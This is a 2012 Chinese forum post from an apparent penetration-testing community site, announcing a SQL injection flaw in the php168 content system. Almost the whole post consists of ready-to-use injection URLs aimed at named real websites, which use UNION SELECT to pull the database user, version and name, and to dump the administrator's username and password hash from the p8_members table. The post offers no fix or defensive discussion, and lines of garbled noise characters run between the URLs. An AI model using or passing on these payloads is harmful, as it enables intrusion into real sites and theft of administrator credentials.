中国网络渗透测试联盟

标题: php168某系统注入漏洞 [打印本页]

作者: admin 时间: 2012-10-18 08:52
标题: php168某系统注入漏洞
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
5 M( d0 q& u% T- a4 o1 C2 {                                                       3 ?8 }- z) Y2 ]% v; w0 u8 ~
                                    [attach]94[/attach]
# B/ G3 [+ P+ M: l/ _
. T+ n% K( b( d. i! k+ z' s' Nhttp://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
5 B' [- `# G6 L. a
& a; p- H5 @, e4 f8 I
/ b* c6 n& B6 e' e% U; ~                                                       [attach]95[/attach]
. S6 [; |4 Q9 F( u+ m" W9 mhttp://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--' v( O1 h' A/ P: H& ^- r7 P
$ i% t) C- v  [- B/ a
# [$ _+ f3 e3 Y4 D, H+ s4 y
, p) H; G; N0 ^! J, `1 Y
                                                         [attach]96[/attach]
5 `+ w: A# A$ N5 E- a9 _
. [# N+ F+ N# c/ `http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
+ P- U/ y; v! F$ N; ^/ W$ O# R1 j$ Y5 c: p

. ~1 M9 N& {/ A( B5 Z  a- u  y8 }
7 c( V8 `* S: f+ k4 B+ c4 W                                                                   [attach]97[/attach]- `. _! a/ M9 _! @+ [2 k  o- m

欢迎光临中国网络渗透测试联盟 (https://cobjon.com/)